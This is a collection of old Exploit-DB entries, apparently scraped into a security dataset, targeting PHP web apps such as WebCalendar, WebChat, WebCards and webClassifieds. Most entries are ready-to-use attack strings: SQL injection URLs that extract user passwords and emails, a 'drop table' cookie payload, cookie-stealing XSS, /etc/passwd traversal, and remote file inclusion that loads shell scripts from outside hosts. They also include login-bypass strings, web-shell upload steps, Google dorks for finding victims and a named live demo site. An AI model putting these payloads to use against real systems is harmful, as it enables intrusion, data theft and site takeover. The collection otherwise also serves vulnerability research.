deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25113
Description: WebCalendar 0.9.45 - SQL Injection
Type: webapps
Platform: php
Date: 2005-02-17
Author: Michael Scovetta

Exploit:
source: https://www.securityfocus.com/bid/12581/info

WebCalendar is affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This vulnerability is reported to affect WebCalendar 0.9.45; earlier versions may also be affected.

The vendor has addressed this issue in WebCalendar 1.0RC1 and later. 

<?php
include_once 'includes/init.php';
echo encode_string("'; drop table foo; select 'a|zzabcdefg");
?>

output:
7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8

attack payload:
telnet example.com
GET /login.php HTTP/1.1
Cookie: webcalendar_session=7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8
Exploit-DB #23099
Description: WebCalendar 0.9.x (Multiple Modules) - SQL Injection
Type: webapps
Platform: php
Date: 2003-09-03
Author: noconflic

Exploit:
source: https://www.securityfocus.com/bid/8540/info

It has been reported that WebCalendar may be prone to multiple SQL injection issues in the view_t.php, view_w.php, view_v.php, and login.php modules of the software. The problems arise from a lack of sufficient sanitization of user-supplied input before being included in database queries.

Successful exploitation of these vulnerabilities may allow a remote attacker to gain access to sensitive information stored in the underlying database. This information may then be used to launch further attacks against a vulnerable system.

http://www.example.com/webcalendar/view_m.php?id=additional sql command
http://www.example.com/webcalendar/login.php?user='additional%20sqlcommand
http://www.example.com/webcalendar/login.php?[CREDENTIAL_REDACTED]
Exploit-DB #22942
Description: WebCalendar 0.9.x - Local File Inclusion Information Disclosure
Type: webapps
Platform: php
Date: 2003-07-21
Author: noconflic

Exploit:
source: https://www.securityfocus.com/bid/8237/info

It has been reported that an information disclosure issue exists in WebCalendar. This may allow an attacker to gain unauthorized read access to potentially sensitive information with the privileges of the web server process.

http://www.example.com/webcalendar/[filename].php?user_inc=../../../../../etc/passwd
Exploit-DB #24729
Description: webcalendar 0.9.x - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2004-11-10
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/11651/info

Multiple remote vulnerabilities are reported to exist in WebCalendar.

Multiple cross-site scripting vulnerabilites, an HTTP response splitting vulnerability, and two authentication bypass vulnerabilities are reported to exist in many different scripts in the affected application.

Fixes are reported to exist in the CVS version of the software.

http://www.example.com/view_entry.php?id=41972"><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:alert(document.cookie)>&date=20041001
http://www.example.com/view_d.php?id=657"><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:alert(document.cookie)%20height=0%20width=0>&date=20041009
http://www.example.com/usersel.php?form=editentryform.elements[20];%0d%0aalert(document.cookie);//&listid=20&users=demo,demo1,demo2
http://www.example.com/datesel.php?form=editentryform.elements[20].rpt_day.selectedIndex%20=%20day%20-%201;alert(document.cookie);//"><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:alert(document.cookie)>&fday=rpt_day&fmonth=rpt_month&fyear=rpt_year&date=20041001
http://www.example.com/datesel.php?form=editentryform&fday=rpt_day"%20onclick=javascript:alert(document.cookie)>&fmonth=rpt_month&fyear=rpt_year&date=20041001
http://www.example.com/includes/trailer.php?user="><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:alert(document.cookie)>
http://www.example.com/includes/styles.php?FONTS=asdf}%0A--></style><script>alert(document.cookie)</script>

Example for the HTTP response splitting vulnerability:
http://www.example.com/login.php?return_path=%0d%0aContent-Length:0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0a%0d%0dContent-Type:text/html%0d%0aContent-Length:9%0d%0aHi to all

Examples for the authentication bypass vulnerabilities:
http://www.example.com/view_entry.php?id=41972&date=20041001&is_admin=true&is_nonuser_admin=true&is_assistant=true
http://www.example.com/upcoming.php?public_must_be_enabled=true&public_access=Y
Exploit-DB #26691
Description: WebCalendar 1.0.1 - 'Layers_Toggle.php' HTTP Response Splitting
Type: webapps
Platform: php
Date: 2005-12-01
Author: lwang

Exploit:
source: https://www.securityfocus.com/bid/15673/info

WebCalendar is prone to an HTTP response-splitting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

WebCalendar 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/webcalendar/layers_toggle.php?status=on&ret=[url_redirect_to]
Exploit-DB #26687
Description: WebCalendar 1.0.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-01
Author: lwang

Exploit:
source: https://www.securityfocus.com/bid/15662/info

WebCalendar is prone to multiple SQL injection vulnerabilities.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.0.1. is vulnerable; other versions may also be affected. 

http://www.example.com/webcalendar/activity_log.php?startid=%2527
http://www.example.com/webcalendar/activity_log.php?startid=%27
http://www.example.com/webcalendar/activity_log.php?startid='
Exploit-DB #5847
Description: WebCalendar 1.0.4 - 'includedir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-17
Author: Cr@zy_King

Exploit:
Cr@zy_King :\ BiyoSecurity Team

WebCalendar v1.0.4 Remote FÄ±le Include

Demo - Down : http://webcalendar.sourceforge.net/

http://localhost/patch/tools/send_reminders.php?noSet=0&includedir=http://sheLLz?

Google Dork : "WebCalendar v1.0.4"

                           www.biyosecurity.com

Greatz : aLL My Friend'Z & nETKILLER

# milw0rm.com [2008-06-17]
Exploit-DB #31063
Description: WebCalendar 1.1.6 - 'pref.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-25
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/27461/info

WebCalendar is prone to multiple HTML-injection and cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials. The attacker could also exploit the HTML-injection issues to control how the site is rendered to the user; other attacks are also possible.

These issues affect WebCalendar 1.1.6; other versions may also be vulnerable. 

http://www.example.com/pref.php?>&#039;"><script>alert(&#039;XSS&#039;)</script>
Exploit-DB #31064
Description: WebCalendar 1.1.6 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-25
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/27461/info
 
WebCalendar is prone to multiple HTML-injection and cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials. The attacker could also exploit the HTML-injection issues to control how the site is rendered to the user; other attacks are also possible.
 
These issues affect WebCalendar 1.1.6; other versions may also be vulnerable. 

http://www.example.com/search.php?adv=>"&#039;><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
Exploit-DB #6869
Description: WebCards 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2008-10-29
Author: t0pP8uZz

Exploit:
-[*]+================================================================================+[*]-
-[*]+		    WebCards <= 1.3 Remote SQL Injection Vulnerability	             +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Contact: irc.rizon.net #sectalk
[*] Discovered On: 22 October 2008
[*] Script Download: http://www.mywebcards.net/
[*] DORK: "Powered By Webcards"



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION/USAGE: 

	WebCards 1.3 and prior versions suffer from a MySQL injection in the admin login
	page, This allows remote attackers to gain access to the administration area
	without having a valid user/pass combination.

	All what is needed is the valid username, The default admin username is "admin" so
	the below SQL syntax should gain entry to a vulnerable site.

	Not all sites are vulnerable, It relys on Magic Quotes, and other script settings for
	this to work, I tested on about 15 sites, and 2 of those 15 were only vulnerable.

	Once in the administration area its possible to get a very easy shell, Which is
	explained in the "Notes" section of this document.



[*] SQL Injection:

	First find a vulnerable site, Then goto http://site.com/webcards/admin.php

	Enter the following in the username textbox: admin" and ""="
	Enter the following in the password textbox: 1



[*] NOTE/TIP: 

	To gain a shell on the vulnerable host, Simply use the sql injection above, Once
	administration is gained, Click "Add Image Macro" follow the onscreen instructions
	and change the extension to php or what ever file type you want.

	Once complete goto "Images" and upload your shell/file, When its complete, Navigate
	back to images, Goto "Show All" and look for your file name, then just copy the LINK.


[*] GREETZ: 

	milw0rm.com, Offensive-Security.com, CipherCrew !



[-] Come hang in irc, irc.rizon.net #sectalk
	
	Peace...

	...t0pP8uZz !



-[*]+================================================================================+[*]-
-[*]+		    WebCards <= 1.3 Remote SQL Injection Vulnerability	             +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-10-29]
Exploit-DB #17444
Description: Webcat - Multiple Blind SQL Injections
Type: webapps
Platform: php
Date: 2011-06-23
Author: w0rd

Exploit:
# Exploit Title: Webcat - Two Blind SQL Injection Vulnerabilities
# Google Dork: allinurl: sc_webcat/ecat/cms_view.php
# Date: 6/23/2011
# Author: w0rd (w0rd[at]NULL0x00.com)
# Software Link: http://webcat.sourceforge.net/
# Tested on: [Linux/Windows 7]
#Vulnerable Parameters: web_id=, id=
##############################################################
PoC:

http://www.domain.com/sc_webcat/ecat/cms_view.php?lang=1&id=50'
http://www.domain.com/sc_webcat/ecat/cms_view.php?lang=1&web_id=1021'
http://www.domain.com/sc_webcat/ecat/cms_view.php?lang=1&web_id=1021 and ascii(substring((SELECT concat(user_name,0x3a,user_password,0x3a,email,0x0a) FROM usertable limit 0,1),1,1))>80

I have come across one site where it was not blind, and used this:
https://www.domain.com/sc_webcat/ecat/cms_view.php?lang=1&web_id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(email,0x3a,user_password,0x0a),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90 from usertable--

##############################################################
# Shouts to the Belegit crew
Exploit-DB #5802
Description: WebChamado 1.1 - 'tsk_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-13
Author: Virangar Security

Exploit:
  #######################################################################################
  #                                                                                     #
  #          ...:::::WebChamado 1.1  SQL Injection Vulnerability ::::....               #           
  #######################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
vuln code in lista_anexos.php:
line 12: $tsk_id = $_GET['tsk_id'];
....
line 14: $query = "SELECT SEQ, DSC, TIP, TAM FROM TBLTASK_TSKARQ WHERE TSK_ID = $tsk_id ORDER BY DSC";
---
exploit:
http://site.com/lista_anexos.php?tsk_id=-1/**/union/**/select/**/1,concat(NOM,0x3a,PAS,char(58),EML),3,4/**/from/**/tbltask_res/**/where/**/ADM=1/*
-------
young iranian h4ck3rz

# milw0rm.com [2008-06-13]
Exploit-DB #22318
Description: Webchat 0.77 - 'Defines.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-03-03
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/7000/info

Webchat is prone to an issue that may allow remote attackers to include files located on attacker-controlled servers.

This vulnerability is as a result of insufficient sanitization performed on remote user-supplied data. Under some circumstances, it is possible for remote attackers to influence the path for certain include files to point to an external file by manipulating URI parameters.

If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server.

http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/db_mysql.php http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/language/english.php
Exploit-DB #3169
Description: WebChat 0.77 - 'defines.php?WEBCHATPATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-21
Author: v1per-haCker

Exploit:
######################################################################### 
# 
#           [ webchat ] 
# 
# Class:     File Include Vulnerability  
# Published  2007/1/21 
# Remote:    Yes  
# Critical   Level : Dangerous 
# Site:      http://www.easy-script.com/compt.php?id=1705  || http://sourceforge.net/projects/webdev-webchat/
# Author:    TheViper-hacker  
# Contact:   theviper-hacker@hotmail.com 
#   
#########################################################################
file ;
frame.php
======================================================
Vuln Code
include ($WEBCHATPATH.'language/english.php');
=======================================================
Exploit :       
Http:// www.Victem.0 / [ webchat-077_path] /defines.php?WEBCHATPATH=http://turnkringonzehoop.be/viper.txt?
 
 ----  Thanx: [MoHaNdKo] [Cold ThreE] [cold zero] [The Wolf KSA]  ]organza[
 ---- GreeTz: All www.4azhar.Com Members Cont : rida-10@msn.com
--------------------------------------||  Viva ISLAM ||-----------------------------------------

# milw0rm.com [2007-01-21]
Exploit-DB #4125
Description: WebChat 0.78 - 'login.php?rid' SQL Injection
Type: webapps
Platform: php
Date: 2007-06-28
Author: r00t

Exploit:
#########################################################################
#
#               [webchat 0.78]
#
# Class:     SQL Injection
# Published  28/06/2007
# Remote:    Yes
# Critical   Level : Dangerous
# Site:      http://sourceforge.net/projects/webdev-webchat/
# Download:  http://downloads.sourceforge.net/webdev-webchat/webchat-078.zip?modtime=[PII_REDACTED]&big_mirror=0
# Author:    r00t
#########################################################################


               Vulnerable code:
               login.php
======================================================
<?
       $q = new DB_Chat;
       $q->query("select * from room where rid='$rid'");
       if ($q->next_record()) {
?>
=======================================================

               Exploit :
============================================================================================================
http://www.site.com/[web_chat]/login.php?rid=-1'%20UNION%20ALL%20SELECT%20uid,pass,null,null,null%20from%20user%20WHERE%20uid=1/*
============================================================================================================

               Thanks To:
======================================================
All Root@Shell members;
White_Sheep;
SparrowRulez;
st0ke;
======================================================

# milw0rm.com [2007-06-28]
Exploit-DB #22716
Description: WebChat 2.0 - 'users.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-06-02
Author: Rynho Zeros Web

Exploit:
source: https://www.securityfocus.com/bid/7779/info

WebChat has been reported prone to a cross-site scripting vulnerability.

WebChat does not adequately filter script code from URI parameters, making it prone to cross-site scripting attacks. Attacker-supplied script code may be included in a malicious link to the WebChat 'users.php' script.

This may enable a remote attacker to steal cookie-based authentication credentials from legitimate users. Other attacks are also possible.

This vulnerability was reported to affect WebChat version 2.0 other versions may also be affected. 

http://www.example.com/modules/WebChat/users.php?rid=Non_Numeric&uid=-1&username="><script>alert(document.cookie);</script>
Exploit-DB #22715
Description: WebChat 2.0 - 'users.php?Database Username Disclosure
Type: webapps
Platform: php
Date: 2003-06-02
Author: Rynho Zeros Web

Exploit:
source: https://www.securityfocus.com/bid/7777/info

WebChat has been reported prone to a database username disclosure weakness.

The issue presents itself when a malicious request is made for the WebChat ?users.php? page. An attacker may pass a guessed username as a specific URI parameter to the affected page. An attacker may exploit this weakness to enumerate database passwords.

This weakness was reported to affect WebChat version 2.0 other versions may also be affected. 

http://www.example.com/modules/WebChat/users.php?rid=Non_Numeric&uid=-1&username=[Any_Word_or_your_code]
Exploit-DB #22704
Description: Webchat 2.0 Module - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-06-02
Author: Rynho Zeros Web

Exploit:
source: https://www.securityfocus.com/bid/7774/info

Webchat has been reported prone to a path disclosure weakness.

Reportedly an attacker may make a malicious HTTP request for several Webchat PHP scripts to trigger the condition. Under some circumstances the request will trigger an exception, causing Webchat to display an error message, which may possibly contain sensitive path information.

This weakness was reported to affect Webchat version 2.0 other versions may also be affected. 

http://www.example.com/modules/WebChat/out.php
http://www.example.com/modules.php?op=modload&name=WebChat&file=index&roomid=Non_Numeric
http://www.example.com/modules/WebChat/in.php
http://www.example.com/modules/WebChat/quit.php
http://www.example.com/modules/WebChat/users.php
Exploit-DB #8486
Description: webClassifieds 2005 - (Authentication Bypass) Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-04-20
Author: ThE g0bL!N

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:webClassifiedsÂ© 2005 Insecure Cookie Handling Vulnerability
  
 [~]Vendor: www.webscribble.com
  
 [~]Software: webClassifiedsÂ© 2005
  
 [~]author: ThE g0bL!N
  
  
 [~] Home: WWW.h4ckf0ru.com
  

[~] -----------------------------{ Iam MuSlIm}------------------------------
  
  
 [~] Exploit:
  
javascript:dcocument.cookie="sAuth=[id];path=/";
  
[~]login 4 d3m0:
  
http://www.towpartners.com/classifieds/index.php?page=sign_in
 
javascript:document.cookie="sAuth=3;path=/";
[~]--------------------------------------------------------------------------------
 
  [~] Greetz tO:
  [~]
  [~] Dos-Dz TeaM - Snakes TeaM - Team Sobh4n ALLAH
  [~]
  [~]
  [~]
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2009-04-20]
Exploit-DB #7602
Description: webClassifieds 2005 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-12-29
Author: AnGeL25dZ

Exploit:
************************************************************
** 		 webClassifiedsĂ‚â„˘Ă‚Â© 2005 Admin Login Bypass vulnerability
************************************************************
**  Prodcut:		webClassifiedsĂ‚â„˘Ă‚Â© 2005    
**  Home   : 		http://www.webscribble.com/
**  Vunlerability :		Admin Bypass
**  Risk  :			low
**  Dork : 		"powered by webClassifieds"
************************************************************
** Discovred by:	AnGeL25dZ
** From	       :	Constantine - Algeria
** Contact     : 	angel25dz@gmail.com	
** *********************************************************
** Greetz to :	 ALLAH 
**		 All Members of HackTeachTeam    http://www.hackteach.org/
** 		 cold zero, Ra3ch, His0k4
************************************************************
**  Exploit:
**  http://[PATH]//classifieds/index.php?page=sign_in
**
**  user :              admin      /        user :           ' or '1=1
**  password :     ' or '1=1   /        password:    ' or '1=1
**  
****************************************************************
** Live demo : http://www.towpartners.com/classifieds/index.php?page=sign_in
****************************************************************

# milw0rm.com [2008-12-29]